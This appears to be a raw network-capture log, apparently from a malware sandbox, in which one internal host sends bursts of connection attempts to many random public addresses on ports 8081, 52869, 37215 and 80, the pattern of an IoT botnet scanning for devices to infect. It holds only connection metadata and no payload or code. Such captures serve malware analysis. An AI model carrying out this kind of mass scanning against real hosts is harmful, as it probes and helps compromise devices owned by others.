Jul 20, 2024 23:10:39.242166042 CEST	58768	8081	192.168.2.15	45.72.32.96
Jul 20, 2024 23:10:39.242166042 CEST	58768	8081	192.168.2.15	221.45.25.203
Jul 20, 2024 23:10:39.242166042 CEST	58768	8081	192.168.2.15	107.144.56.245
Jul 20, 2024 23:10:39.242301941 CEST	8081	58768	90.110.141.240	192.168.2.15
Jul 20, 2024 23:10:39.243096113 CEST	58768	8081	192.168.2.15	54.171.123.24
Jul 20, 2024 23:10:39.243096113 CEST	58768	8081	192.168.2.15	196.214.135.247
Jul 20, 2024 23:10:39.243096113 CEST	58768	8081	192.168.2.15	84.57.181.43
Jul 20, 2024 23:10:39.243096113 CEST	58768	8081	192.168.2.15	191.85.161.208
Jul 20, 2024 23:10:39.243096113 CEST	58768	8081	192.168.2.15	154.141.6.155
Jul 20, 2024 23:10:39.243096113 CEST	58768	8081	192.168.2.15	2.37.158.191
Jul 20, 2024 23:10:39.243096113 CEST	58768	8081	192.168.2.15	12.194.81.37
Jul 20, 2024 23:10:39.244255066 CEST	58768	8081	192.168.2.15	198.81.66.81
Jul 20, 2024 23:10:39.244255066 CEST	58768	8081	192.168.2.15	81.1.103.16
Jul 20, 2024 23:10:39.244255066 CEST	58768	8081	192.168.2.15	48.60.25.253
Jul 20, 2024 23:10:39.244255066 CEST	58768	8081	192.168.2.15	154.9.242.40
Jul 20, 2024 23:10:39.244255066 CEST	43862	8081	192.168.2.15	101.137.132.47
Jul 20, 2024 23:10:39.244255066 CEST	43862	8081	192.168.2.15	101.137.132.47
Jul 20, 2024 23:10:39.244255066 CEST	58768	8081	192.168.2.15	142.24.97.125
Jul 20, 2024 23:10:39.244617939 CEST	58768	8081	192.168.2.15	167.74.102.224
Jul 20, 2024 23:10:39.244617939 CEST	58768	8081	192.168.2.15	77.208.94.121
Jul 20, 2024 23:10:39.244617939 CEST	58768	8081	192.168.2.15	109.69.35.42
Jul 20, 2024 23:10:39.244617939 CEST	58768	8081	192.168.2.15	85.153.221.70
Jul 20, 2024 23:10:39.244617939 CEST	58768	8081	192.168.2.15	202.244.141.178
Jul 20, 2024 23:10:39.244617939 CEST	58768	8081	192.168.2.15	101.242.207.38
Jul 20, 2024 23:10:39.244617939 CEST	58768	8081	192.168.2.15	203.76.242.184
Jul 20, 2024 23:10:39.244617939 CEST	58768	8081	192.168.2.15	223.103.38.175
Jul 20, 2024 23:10:39.246376038 CEST	52869	38462	37.21.17.204	192.168.2.15
Jul 20, 2024 23:10:39.246392965 CEST	52869	34640	211.42.169.91	192.168.2.15
Jul 20, 2024 23:10:39.246445894 CEST	8081	58768	38.47.240.167	192.168.2.15
Jul 20, 2024 23:10:39.246459007 CEST	8081	58768	165.188.24.88	192.168.2.15
Jul 20, 2024 23:10:39.246494055 CEST	8081	58768	218.118.75.214	192.168.2.15
Jul 20, 2024 23:10:39.246515989 CEST	8081	58768	182.128.89.82	192.168.2.15
Jul 20, 2024 23:10:39.246529102 CEST	8081	58768	191.21.233.53	192.168.2.15
Jul 20, 2024 23:10:39.246757030 CEST	8081	58768	9.172.90.82	192.168.2.15
Jul 20, 2024 23:10:39.246771097 CEST	8081	58768	83.176.156.123	192.168.2.15
Jul 20, 2024 23:10:39.246804953 CEST	8081	58768	147.16.221.49	192.168.2.15
Jul 20, 2024 23:10:39.246819019 CEST	8081	58768	172.233.99.211	192.168.2.15
Jul 20, 2024 23:10:39.246961117 CEST	8081	58768	166.246.107.32	192.168.2.15
Jul 20, 2024 23:10:39.247699022 CEST	58768	8081	192.168.2.15	171.118.65.18
Jul 20, 2024 23:10:39.247699022 CEST	58768	8081	192.168.2.15	43.45.214.3
Jul 20, 2024 23:10:39.247699022 CEST	58768	8081	192.168.2.15	27.1.129.184
Jul 20, 2024 23:10:39.247699022 CEST	58768	8081	192.168.2.15	79.123.243.137
Jul 20, 2024 23:10:39.247699022 CEST	58768	8081	192.168.2.15	220.79.79.113
Jul 20, 2024 23:10:39.247699022 CEST	58768	8081	192.168.2.15	117.91.146.154
Jul 20, 2024 23:10:39.247699022 CEST	58768	8081	192.168.2.15	54.209.77.50
Jul 20, 2024 23:10:39.247699022 CEST	58768	8081	192.168.2.15	119.166.242.218
Jul 20, 2024 23:10:39.247859001 CEST	8081	58768	79.34.158.34	192.168.2.15
Jul 20, 2024 23:10:39.247874022 CEST	8081	58768	2.91.236.22	192.168.2.15
Jul 20, 2024 23:10:39.248625994 CEST	8081	58768	53.115.209.77	192.168.2.15
Jul 20, 2024 23:10:39.248660088 CEST	8081	58768	88.206.32.33	192.168.2.15
Jul 20, 2024 23:10:39.248872995 CEST	8081	58768	216.149.235.69	192.168.2.15
Jul 20, 2024 23:10:39.248909950 CEST	58768	8081	192.168.2.15	117.90.12.52
Jul 20, 2024 23:10:39.248909950 CEST	58768	8081	192.168.2.15	123.60.131.82
Jul 20, 2024 23:10:39.248909950 CEST	58768	8081	192.168.2.15	94.238.60.255
Jul 20, 2024 23:10:39.248909950 CEST	45620	80	192.168.2.15	88.50.60.166
Jul 20, 2024 23:10:39.248909950 CEST	41872	52869	192.168.2.15	67.65.153.119
Jul 20, 2024 23:10:39.248909950 CEST	58768	8081	192.168.2.15	204.78.89.216
Jul 20, 2024 23:10:39.248909950 CEST	58768	8081	192.168.2.15	110.121.226.248
Jul 20, 2024 23:10:39.248909950 CEST	58768	8081	192.168.2.15	205.4.101.70
Jul 20, 2024 23:10:39.249721050 CEST	58768	8081	192.168.2.15	155.96.106.156
Jul 20, 2024 23:10:39.249721050 CEST	58768	8081	192.168.2.15	213.49.5.173
Jul 20, 2024 23:10:39.249721050 CEST	58768	8081	192.168.2.15	37.64.58.219
Jul 20, 2024 23:10:39.249721050 CEST	58768	8081	192.168.2.15	162.240.138.154
Jul 20, 2024 23:10:39.249721050 CEST	58768	8081	192.168.2.15	123.234.26.29
Jul 20, 2024 23:10:39.249721050 CEST	58768	8081	192.168.2.15	193.151.102.123
Jul 20, 2024 23:10:39.249721050 CEST	58768	8081	192.168.2.15	115.86.54.28
Jul 20, 2024 23:10:39.249721050 CEST	58768	8081	192.168.2.15	186.105.21.21
Jul 20, 2024 23:10:39.250634909 CEST	52869	41184	67.65.153.119	192.168.2.15
Jul 20, 2024 23:10:39.250704050 CEST	8081	58768	139.116.62.177	192.168.2.15
Jul 20, 2024 23:10:39.250792980 CEST	8081	58768	178.59.186.183	192.168.2.15
Jul 20, 2024 23:10:39.251183987 CEST	58768	8081	192.168.2.15	67.180.176.63
Jul 20, 2024 23:10:39.251183987 CEST	58768	8081	192.168.2.15	209.63.57.7
Jul 20, 2024 23:10:39.251183987 CEST	58768	8081	192.168.2.15	220.94.26.63
Jul 20, 2024 23:10:39.251183987 CEST	58768	8081	192.168.2.15	198.83.254.138
Jul 20, 2024 23:10:39.251183987 CEST	58768	8081	192.168.2.15	165.138.82.28
Jul 20, 2024 23:10:39.251184940 CEST	58768	8081	192.168.2.15	75.58.82.96
Jul 20, 2024 23:10:39.251333952 CEST	8081	58768	167.130.64.172	192.168.2.15
Jul 20, 2024 23:10:39.251351118 CEST	8081	58768	185.21.118.11	192.168.2.15
Jul 20, 2024 23:10:39.251364946 CEST	8081	58768	198.81.66.81	192.168.2.15
Jul 20, 2024 23:10:39.251492023 CEST	8081	58768	81.1.103.16	192.168.2.15
Jul 20, 2024 23:10:39.251756907 CEST	8081	58768	64.193.14.246	192.168.2.15
Jul 20, 2024 23:10:39.251897097 CEST	8081	58768	178.161.51.79	192.168.2.15
Jul 20, 2024 23:10:39.252125025 CEST	8081	58768	48.60.25.253	192.168.2.15
Jul 20, 2024 23:10:39.253042936 CEST	8081	58768	162.109.141.154	192.168.2.15
Jul 20, 2024 23:10:39.253218889 CEST	58768	8081	192.168.2.15	197.221.179.102
Jul 20, 2024 23:10:39.253694057 CEST	58768	8081	192.168.2.15	218.25.226.21
Jul 20, 2024 23:10:39.253694057 CEST	58768	8081	192.168.2.15	38.47.240.167
Jul 20, 2024 23:10:39.253694057 CEST	58768	8081	192.168.2.15	191.21.233.53
Jul 20, 2024 23:10:39.253695011 CEST	58768	8081	192.168.2.15	83.176.156.123
Jul 20, 2024 23:10:39.254328966 CEST	52869	39438	108.128.208.18	192.168.2.15
Jul 20, 2024 23:10:39.254717112 CEST	8081	58768	206.10.0.127	192.168.2.15
Jul 20, 2024 23:10:39.254909039 CEST	8081	58768	154.9.242.40	192.168.2.15
Jul 20, 2024 23:10:39.254945040 CEST	58768	8081	192.168.2.15	165.188.24.88
Jul 20, 2024 23:10:39.254945040 CEST	58768	8081	192.168.2.15	218.118.75.214
Jul 20, 2024 23:10:39.254945040 CEST	58768	8081	192.168.2.15	182.128.89.82
Jul 20, 2024 23:10:39.254945040 CEST	58768	8081	192.168.2.15	9.172.90.82
Jul 20, 2024 23:10:39.254945040 CEST	58768	8081	192.168.2.15	147.16.221.49
Jul 20, 2024 23:10:39.255007029 CEST	8081	58768	59.137.64.138	192.168.2.15
Jul 20, 2024 23:10:39.255059958 CEST	8081	58768	171.118.65.18	192.168.2.15
Jul 20, 2024 23:10:39.255086899 CEST	8081	43862	101.137.132.47	192.168.2.15
Jul 20, 2024 23:10:39.255211115 CEST	58768	8081	192.168.2.15	50.108.60.245
Jul 20, 2024 23:10:39.255212069 CEST	58768	8081	192.168.2.15	111.218.64.251
Jul 20, 2024 23:10:39.255212069 CEST	58768	8081	192.168.2.15	34.85.91.68
Jul 20, 2024 23:10:39.255212069 CEST	58768	8081	192.168.2.15	73.249.125.177
Jul 20, 2024 23:10:39.255212069 CEST	58768	8081	192.168.2.15	143.227.33.242
Jul 20, 2024 23:10:39.255212069 CEST	58768	8081	192.168.2.15	175.233.252.99
Jul 20, 2024 23:10:39.255212069 CEST	58768	8081	192.168.2.15	17.124.213.182
Jul 20, 2024 23:10:39.255212069 CEST	58768	8081	192.168.2.15	193.42.35.46
Jul 20, 2024 23:10:39.255575895 CEST	8081	58768	117.90.12.52	192.168.2.15
Jul 20, 2024 23:10:39.255628109 CEST	8081	58768	43.45.214.3	192.168.2.15
Jul 20, 2024 23:10:39.255635977 CEST	58768	8081	192.168.2.15	172.233.99.211
Jul 20, 2024 23:10:39.255635977 CEST	58768	8081	192.168.2.15	166.246.107.32
Jul 20, 2024 23:10:39.255815983 CEST	8081	58768	123.60.131.82	192.168.2.15
Jul 20, 2024 23:10:39.255875111 CEST	8081	58768	27.1.129.184	192.168.2.15
Jul 20, 2024 23:10:39.256045103 CEST	58768	8081	192.168.2.15	99.240.96.69
Jul 20, 2024 23:10:39.256045103 CEST	58768	8081	192.168.2.15	48.207.239.190
Jul 20, 2024 23:10:39.256045103 CEST	58768	8081	192.168.2.15	17.209.242.181
Jul 20, 2024 23:10:39.256045103 CEST	58768	8081	192.168.2.15	86.119.199.229
Jul 20, 2024 23:10:39.256045103 CEST	58768	8081	192.168.2.15	59.206.196.24
Jul 20, 2024 23:10:39.256045103 CEST	58768	8081	192.168.2.15	53.30.127.58
Jul 20, 2024 23:10:39.256045103 CEST	58768	8081	192.168.2.15	80.140.241.249
Jul 20, 2024 23:10:39.256045103 CEST	58768	8081	192.168.2.15	17.198.189.203
Jul 20, 2024 23:10:39.256150007 CEST	8081	58768	94.238.60.255	192.168.2.15
Jul 20, 2024 23:10:39.256239891 CEST	8081	58768	79.123.243.137	192.168.2.15
Jul 20, 2024 23:10:39.256445885 CEST	58768	8081	192.168.2.15	79.34.158.34
Jul 20, 2024 23:10:39.257091999 CEST	8081	58768	220.79.79.113	192.168.2.15
Jul 20, 2024 23:10:39.257164955 CEST	58768	8081	192.168.2.15	53.115.209.77
Jul 20, 2024 23:10:39.257164955 CEST	58768	8081	192.168.2.15	88.206.32.33
Jul 20, 2024 23:10:39.257175922 CEST	58768	8081	192.168.2.15	185.21.118.11
Jul 20, 2024 23:10:39.259078979 CEST	58768	8081	192.168.2.15	48.55.222.201
Jul 20, 2024 23:10:39.259078979 CEST	58768	8081	192.168.2.15	216.169.198.251
Jul 20, 2024 23:10:39.259078979 CEST	58768	8081	192.168.2.15	40.229.32.90
Jul 20, 2024 23:10:39.259548903 CEST	58768	8081	192.168.2.15	90.110.141.240
Jul 20, 2024 23:10:39.259619951 CEST	58768	8081	192.168.2.15	139.116.62.177
Jul 20, 2024 23:10:39.259619951 CEST	58768	8081	192.168.2.15	178.59.186.183
Jul 20, 2024 23:10:39.259619951 CEST	58768	8081	192.168.2.15	198.81.66.81
Jul 20, 2024 23:10:39.259619951 CEST	58768	8081	192.168.2.15	81.1.103.16
Jul 20, 2024 23:10:39.259619951 CEST	58768	8081	192.168.2.15	48.60.25.253
Jul 20, 2024 23:10:39.259619951 CEST	58768	8081	192.168.2.15	154.9.242.40
Jul 20, 2024 23:10:39.260157108 CEST	8081	58768	117.91.146.154	192.168.2.15
Jul 20, 2024 23:10:39.261966944 CEST	58768	8081	192.168.2.15	2.91.236.22
Jul 20, 2024 23:10:39.263254881 CEST	58768	8081	192.168.2.15	167.130.64.172
Jul 20, 2024 23:10:39.265239954 CEST	58768	8081	192.168.2.15	216.149.235.69
Jul 20, 2024 23:10:39.266516924 CEST	58768	8081	192.168.2.15	64.193.14.246
Jul 20, 2024 23:10:39.266516924 CEST	58768	8081	192.168.2.15	178.161.51.79
Jul 20, 2024 23:10:39.266516924 CEST	58768	8081	192.168.2.15	206.10.0.127
Jul 20, 2024 23:10:39.266516924 CEST	58768	8081	192.168.2.15	59.137.64.138
Jul 20, 2024 23:10:39.266516924 CEST	58768	8081	192.168.2.15	117.90.12.52
Jul 20, 2024 23:10:39.266516924 CEST	58768	8081	192.168.2.15	123.60.131.82
Jul 20, 2024 23:10:39.266516924 CEST	58768	8081	192.168.2.15	94.238.60.255
Jul 20, 2024 23:10:39.276359081 CEST	58768	8081	192.168.2.15	162.109.141.154
Jul 20, 2024 23:10:39.276359081 CEST	58768	8081	192.168.2.15	171.118.65.18
Jul 20, 2024 23:10:39.276359081 CEST	58768	8081	192.168.2.15	43.45.214.3
Jul 20, 2024 23:10:39.276359081 CEST	58768	8081	192.168.2.15	27.1.129.184
Jul 20, 2024 23:10:39.276359081 CEST	58768	8081	192.168.2.15	79.123.243.137
Jul 20, 2024 23:10:39.276359081 CEST	58768	8081	192.168.2.15	220.79.79.113
Jul 20, 2024 23:10:39.296134949 CEST	58768	8081	192.168.2.15	117.91.146.154
Jul 20, 2024 23:10:39.319367886 CEST	8081	43862	101.137.132.47	192.168.2.15
Jul 20, 2024 23:10:39.379983902 CEST	40126	52869	192.168.2.15	108.128.208.18
Jul 20, 2024 23:10:39.380616903 CEST	44882	8081	192.168.2.15	101.137.132.47
Jul 20, 2024 23:10:39.380748987 CEST	48620	37215	192.168.2.15	41.63.90.165
Jul 20, 2024 23:10:39.382810116 CEST	58848	80	192.168.2.15	88.249.73.163
Jul 20, 2024 23:10:39.383137941 CEST	51404	52869	192.168.2.15	104.126.44.136
Jul 20, 2024 23:10:39.383138895 CEST	51404	52869	192.168.2.15	104.126.44.136
Jul 20, 2024 23:10:39.383936882 CEST	52158	8081	192.168.2.15	140.139.225.140
Jul 20, 2024 23:10:39.383936882 CEST	52158	8081	192.168.2.15	140.139.225.140
Jul 20, 2024 23:10:39.384752989 CEST	52092	52869	192.168.2.15	104.126.44.136
Jul 20, 2024 23:10:39.385647058 CEST	54780	37215	192.168.2.15	41.95.41.120
Jul 20, 2024 23:10:39.385709047 CEST	52869	40126	108.128.208.18	192.168.2.15
Jul 20, 2024 23:10:39.385765076 CEST	40126	52869	192.168.2.15	108.128.208.18
Jul 20, 2024 23:10:39.386148930 CEST	37215	48620	41.63.90.165	192.168.2.15
Jul 20, 2024 23:10:39.386209011 CEST	48620	37215	192.168.2.15	41.63.90.165
Jul 20, 2024 23:10:39.386755943 CEST	8081	44882	101.137.132.47	192.168.2.15
Jul 20, 2024 23:10:39.386799097 CEST	44882	8081	192.168.2.15	101.137.132.47
Jul 20, 2024 23:10:39.386827946 CEST	53180	8081	192.168.2.15	140.139.225.140
Jul 20, 2024 23:10:39.387511015 CEST	41434	80	192.168.2.15	88.194.134.125
Jul 20, 2024 23:10:39.387749910 CEST	80	58848	88.249.73.163	192.168.2.15
Jul 20, 2024 23:10:39.387789965 CEST	58848	80	192.168.2.15	88.249.73.163
Jul 20, 2024 23:10:39.387844086 CEST	52008	52869	192.168.2.15	23.244.107.142
Jul 20, 2024 23:10:39.388289928 CEST	52008	52869	192.168.2.15	23.244.107.142
Jul 20, 2024 23:10:39.388384104 CEST	52869	51404	104.126.44.136	192.168.2.15
Jul 20, 2024 23:10:39.388967991 CEST	8081	52158	140.139.225.140	192.168.2.15
Jul 20, 2024 23:10:39.389624119 CEST	45682	8081	192.168.2.15	201.218.238.1
Jul 20, 2024 23:10:39.389625072 CEST	45682	8081	192.168.2.15	201.218.238.1
Jul 20, 2024 23:10:39.389960051 CEST	52696	52869	192.168.2.15	23.244.107.142
Jul 20, 2024 23:10:39.390286922 CEST	52869	52092	104.126.44.136	192.168.2.15
Jul 20, 2024 23:10:39.390336990 CEST	52092	52869	192.168.2.15	104.126.44.136
Jul 20, 2024 23:10:39.391197920 CEST	46702	8081	192.168.2.15	201.218.238.1
Jul 20, 2024 23:10:39.391413927 CEST	40422	80	192.168.2.15	88.169.251.191
Jul 20, 2024 23:10:39.391618013 CEST	57164	52869	192.168.2.15	91.159.64.203
Jul 20, 2024 23:10:39.391618013 CEST	57164	52869	192.168.2.15	91.159.64.203
Jul 20, 2024 23:10:39.392570972 CEST	57850	52869	192.168.2.15	91.159.64.203
Jul 20, 2024 23:10:39.392658949 CEST	37215	54780	41.95.41.120	192.168.2.15
Jul 20, 2024 23:10:39.392712116 CEST	54780	37215	192.168.2.15	41.95.41.120
Jul 20, 2024 23:10:39.392915010 CEST	57872	8081	192.168.2.15	195.62.101.45
Jul 20, 2024 23:10:39.392915010 CEST	57872	8081	192.168.2.15	195.62.101.45
Jul 20, 2024 23:10:39.393939018 CEST	59384	80	192.168.2.15	88.77.7.146
Jul 20, 2024 23:10:39.394191980 CEST	33188	52869	192.168.2.15	4.232.226.241
Jul 20, 2024 23:10:39.394191980 CEST	33188	52869	192.168.2.15	4.232.226.241
Jul 20, 2024 23:10:39.394520044 CEST	58892	8081	192.168.2.15	195.62.101.45
Jul 20, 2024 23:10:39.395665884 CEST	33872	52869	192.168.2.15	4.232.226.241
Jul 20, 2024 23:10:39.396194935 CEST	52870	8081	192.168.2.15	32.161.26.237
Jul 20, 2024 23:10:39.396194935 CEST	52870	8081	192.168.2.15	32.161.26.237
Jul 20, 2024 23:10:39.397114038 CEST	47334	80	192.168.2.15	88.162.101.153
Jul 20, 2024 23:10:39.397408009 CEST	8081	53180	140.139.225.140	192.168.2.15
Jul 20, 2024 23:10:39.397454977 CEST	53180	8081	192.168.2.15	140.139.225.140
Jul 20, 2024 23:10:39.397604942 CEST	56016	52869	192.168.2.15	69.210.2.130
Jul 20, 2024 23:10:39.397604942 CEST	56016	52869	192.168.2.15	69.210.2.130
Jul 20, 2024 23:10:39.397981882 CEST	80	41434	88.194.134.125	192.168.2.15
Jul 20, 2024 23:10:39.398027897 CEST	53888	8081	192.168.2.15	32.161.26.237
Jul 20, 2024 23:10:39.398076057 CEST	41434	80	192.168.2.15	88.194.134.125
Jul 20, 2024 23:10:39.398240089 CEST	52869	52008	23.244.107.142	192.168.2.15
Jul 20, 2024 23:10:39.398539066 CEST	56698	52869	192.168.2.15	69.210.2.130
Jul 20, 2024 23:10:39.399837971 CEST	8081	45682	201.218.238.1	192.168.2.15
Jul 20, 2024 23:10:39.400219917 CEST	49394	8081	192.168.2.15	118.166.213.249
Jul 20, 2024 23:10:39.400219917 CEST	49394	8081	192.168.2.15	118.166.213.249
Jul 20, 2024 23:10:39.400420904 CEST	33416	80	192.168.2.15	88.72.65.98
Jul 20, 2024 23:10:39.400579929 CEST	52869	52696	23.244.107.142	192.168.2.15
Jul 20, 2024 23:10:39.400634050 CEST	60644	52869	192.168.2.15	80.66.53.41
Jul 20, 2024 23:10:39.400634050 CEST	60644	52869	192.168.2.15	80.66.53.41
Jul 20, 2024 23:10:39.400667906 CEST	52696	52869	192.168.2.15	23.244.107.142
Jul 20, 2024 23:10:39.400929928 CEST	8081	46702	201.218.238.1	192.168.2.15
Jul 20, 2024 23:10:39.400970936 CEST	52869	57164	91.159.64.203	192.168.2.15
Jul 20, 2024 23:10:39.400976896 CEST	46702	8081	192.168.2.15	201.218.238.1
Jul 20, 2024 23:10:39.401626110 CEST	80	40422	88.169.251.191	192.168.2.15
Jul 20, 2024 23:10:39.401674986 CEST	40422	80	192.168.2.15	88.169.251.191
Jul 20, 2024 23:10:39.401698112 CEST	52869	57850	91.159.64.203	192.168.2.15
Jul 20, 2024 23:10:39.401714087 CEST	8081	57872	195.62.101.45	192.168.2.15
Jul 20, 2024 23:10:39.401732922 CEST	80	59384	88.77.7.146	192.168.2.15
Jul 20, 2024 23:10:39.401776075 CEST	59384	80	192.168.2.15	88.77.7.146
Jul 20, 2024 23:10:39.401948929 CEST	57850	52869	192.168.2.15	91.159.64.203
Jul 20, 2024 23:10:39.401981115 CEST	52869	33188	4.232.226.241	192.168.2.15
Jul 20, 2024 23:10:39.401994944 CEST	8081	58892	195.62.101.45	192.168.2.15
Jul 20, 2024 23:10:39.402029991 CEST	58892	8081	192.168.2.15	195.62.101.45
Jul 20, 2024 23:10:39.402364016 CEST	33094	52869	192.168.2.15	80.66.53.41
Jul 20, 2024 23:10:39.402714014 CEST	50412	8081	192.168.2.15	118.166.213.249
Jul 20, 2024 23:10:39.402904034 CEST	52869	33872	4.232.226.241	192.168.2.15
Jul 20, 2024 23:10:39.403155088 CEST	8081	52870	32.161.26.237	192.168.2.15
Jul 20, 2024 23:10:39.403639078 CEST	33872	52869	192.168.2.15	4.232.226.241
Jul 20, 2024 23:10:39.403639078 CEST	32888	37215	192.168.2.15	193.168.188.87
Jul 20, 2024 23:10:39.403656960 CEST	80	47334	88.162.101.153	192.168.2.15
Jul 20, 2024 23:10:39.403673887 CEST	52272	8081	192.168.2.15	149.156.0.71
Jul 20, 2024 23:10:39.403673887 CEST	52272	8081	192.168.2.15	149.156.0.71
Jul 20, 2024 23:10:39.403697014 CEST	47334	80	192.168.2.15	88.162.101.153
Jul 20, 2024 23:10:39.403829098 CEST	52869	56016	69.210.2.130	192.168.2.15
Jul 20, 2024 23:10:39.404382944 CEST	8081	53888	32.161.26.237	192.168.2.15
Jul 20, 2024 23:10:39.404423952 CEST	53888	8081	192.168.2.15	32.161.26.237
Jul 20, 2024 23:10:39.404835939 CEST	52869	56698	69.210.2.130	192.168.2.15
Jul 20, 2024 23:10:39.404879093 CEST	56698	52869	192.168.2.15	69.210.2.130
Jul 20, 2024 23:10:39.406018972 CEST	58767	37215	192.168.2.15	197.167.73.91
Jul 20, 2024 23:10:39.406018972 CEST	58767	37215	192.168.2.15	157.140.54.87
Jul 20, 2024 23:10:39.406027079 CEST	58767	37215	192.168.2.15	41.9.24.50
Jul 20, 2024 23:10:39.406058073 CEST	58767	37215	192.168.2.15	197.19.102.129
Jul 20, 2024 23:10:39.406083107 CEST	58767	37215	192.168.2.15	41.207.18.147
Jul 20, 2024 23:10:39.406104088 CEST	58767	37215	192.168.2.15	197.234.178.134
Jul 20, 2024 23:10:39.406141043 CEST	58767	37215	192.168.2.15	45.182.185.114
Jul 20, 2024 23:10:39.406215906 CEST	58767	37215	192.168.2.15	36.136.67.112
Jul 20, 2024 23:10:39.406215906 CEST	58767	37215	192.168.2.15	203.252.189.193
Jul 20, 2024 23:10:39.406232119 CEST	58767	37215	192.168.2.15	82.188.139.177
Jul 20, 2024 23:10:39.406258106 CEST	58767	37215	192.168.2.15	47.161.49.136
Jul 20, 2024 23:10:39.406342030 CEST	8081	49394	118.166.213.249	192.168.2.15
Jul 20, 2024 23:10:39.406459093 CEST	58767	37215	192.168.2.15	197.50.22.35
Jul 20, 2024 23:10:39.406459093 CEST	58767	37215	192.168.2.15	67.17.148.249
Jul 20, 2024 23:10:39.406459093 CEST	58767	37215	192.168.2.15	41.89.205.0
Jul 20, 2024 23:10:39.406459093 CEST	58767	37215	192.168.2.15	131.24.75.178
Jul 20, 2024 23:10:39.406459093 CEST	58767	37215	192.168.2.15	160.231.41.156
Jul 20, 2024 23:10:39.406459093 CEST	58767	37215	192.168.2.15	128.55.37.128
Jul 20, 2024 23:10:39.406764030 CEST	80	33416	88.72.65.98	192.168.2.15
Jul 20, 2024 23:10:39.406788111 CEST	52869	60644	80.66.53.41	192.168.2.15
Jul 20, 2024 23:10:39.407418013 CEST	58767	37215	192.168.2.15	157.221.114.39
Jul 20, 2024 23:10:39.407418013 CEST	58767	37215	192.168.2.15	41.17.147.201
Jul 20, 2024 23:10:39.407418013 CEST	58767	37215	192.168.2.15	203.116.166.241
Jul 20, 2024 23:10:39.407418966 CEST	58767	37215	192.168.2.15	41.244.84.10
Jul 20, 2024 23:10:39.407418966 CEST	58767	37215	192.168.2.15	164.217.41.217
Jul 20, 2024 23:10:39.407418966 CEST	58767	37215	192.168.2.15	41.183.199.246
Jul 20, 2024 23:10:39.407418966 CEST	58767	37215	192.168.2.15	157.63.155.215
Jul 20, 2024 23:10:39.407418966 CEST	58767	37215	192.168.2.15	157.13.143.172
Jul 20, 2024 23:10:39.407877922 CEST	58767	37215	192.168.2.15	202.55.40.248
Jul 20, 2024 23:10:39.407879114 CEST	58767	37215	192.168.2.15	195.140.124.235
Jul 20, 2024 23:10:39.407879114 CEST	58767	37215	192.168.2.15	157.81.100.104
Jul 20, 2024 23:10:39.407879114 CEST	58767	37215	192.168.2.15	157.225.72.22
Jul 20, 2024 23:10:39.407879114 CEST	58767	37215	192.168.2.15	197.95.50.187
Jul 20, 2024 23:10:39.407879114 CEST	58767	37215	192.168.2.15	157.37.31.157
Jul 20, 2024 23:10:39.407879114 CEST	58767	37215	192.168.2.15	41.2.15.86
Jul 20, 2024 23:10:39.408349037 CEST	58767	37215	192.168.2.15	197.217.46.175
Jul 20, 2024 23:10:39.408349037 CEST	58767	37215	192.168.2.15	197.131.108.209
Jul 20, 2024 23:10:39.408349037 CEST	58767	37215	192.168.2.15	166.172.110.205
Jul 20, 2024 23:10:39.408349037 CEST	58767	37215	192.168.2.15	121.74.64.224
Jul 20, 2024 23:10:39.408349037 CEST	58767	37215	192.168.2.15	197.209.239.66
Jul 20, 2024 23:10:39.408349037 CEST	58767	37215	192.168.2.15	41.96.19.111
Jul 20, 2024 23:10:39.408349037 CEST	58767	37215	192.168.2.15	133.158.66.228
Jul 20, 2024 23:10:39.408349991 CEST	58767	37215	192.168.2.15	197.19.4.143
Jul 20, 2024 23:10:39.408598900 CEST	52869	33094	80.66.53.41	192.168.2.15
Jul 20, 2024 23:10:39.408613920 CEST	8081	50412	118.166.213.249	192.168.2.15
Jul 20, 2024 23:10:39.409192085 CEST	58767	37215	192.168.2.15	41.107.118.213
Jul 20, 2024 23:10:39.409193039 CEST	58767	37215	192.168.2.15	185.165.241.177
Jul 20, 2024 23:10:39.409193039 CEST	58767	37215	192.168.2.15	41.33.155.5
Jul 20, 2024 23:10:39.409193039 CEST	58767	37215	192.168.2.15	209.252.109.212
Jul 20, 2024 23:10:39.409193039 CEST	58767	37215	192.168.2.15	172.199.71.225
Jul 20, 2024 23:10:39.409193039 CEST	58767	37215	192.168.2.15	41.85.101.101
Jul 20, 2024 23:10:39.409193039 CEST	58767	37215	192.168.2.15	157.5.222.49
Jul 20, 2024 23:10:39.409193039 CEST	58767	37215	192.168.2.15	41.213.125.9
Jul 20, 2024 23:10:39.409238100 CEST	8081	52272	149.156.0.71	192.168.2.15
Jul 20, 2024 23:10:39.409528971 CEST	58767	37215	192.168.2.15	157.25.34.30
Jul 20, 2024 23:10:39.409528971 CEST	58767	37215	192.168.2.15	90.80.26.72
Jul 20, 2024 23:10:39.409528971 CEST	58767	37215	192.168.2.15	157.220.242.15
Jul 20, 2024 23:10:39.409528971 CEST	58767	37215	192.168.2.15	168.200.232.144
Jul 20, 2024 23:10:39.409528971 CEST	58767	37215	192.168.2.15	157.80.150.3
Jul 20, 2024 23:10:39.409529924 CEST	58767	37215	192.168.2.15	41.106.140.117
Jul 20, 2024 23:10:39.409529924 CEST	58767	37215	192.168.2.15	162.252.81.97
Jul 20, 2024 23:10:39.409529924 CEST	58767	37215	192.168.2.15	197.31.134.49
Jul 20, 2024 23:10:39.410608053 CEST	58767	37215	192.168.2.15	197.206.18.156
Jul 20, 2024 23:10:39.410608053 CEST	58767	37215	192.168.2.15	59.5.0.104
Jul 20, 2024 23:10:39.410608053 CEST	58767	37215	192.168.2.15	197.52.109.95
Jul 20, 2024 23:10:39.410608053 CEST	58767	37215	192.168.2.15	186.119.109.234
Jul 20, 2024 23:10:39.410609007 CEST	58767	37215	192.168.2.15	8.157.200.79
Jul 20, 2024 23:10:39.410609007 CEST	58767	37215	192.168.2.15	157.161.191.131
Jul 20, 2024 23:10:39.410609007 CEST	58767	37215	192.168.2.15	157.248.55.189
Jul 20, 2024 23:10:39.410609007 CEST	58767	37215	192.168.2.15	41.225.122.65
Jul 20, 2024 23:10:39.410651922 CEST	37215	32888	193.168.188.87	192.168.2.15
Jul 20, 2024 23:10:39.411283970 CEST	37215	58767	41.9.24.50	192.168.2.15
Jul 20, 2024 23:10:39.411299944 CEST	37215	58767	41.207.18.147	192.168.2.15
Jul 20, 2024 23:10:39.411803007 CEST	37215	58767	36.136.67.112	192.168.2.15
Jul 20, 2024 23:10:39.412575006 CEST	37215	58767	197.167.73.91	192.168.2.15
Jul 20, 2024 23:10:39.412589073 CEST	37215	58767	197.234.178.134	192.168.2.15
Jul 20, 2024 23:10:39.412889004 CEST	37215	58767	197.50.22.35	192.168.2.15
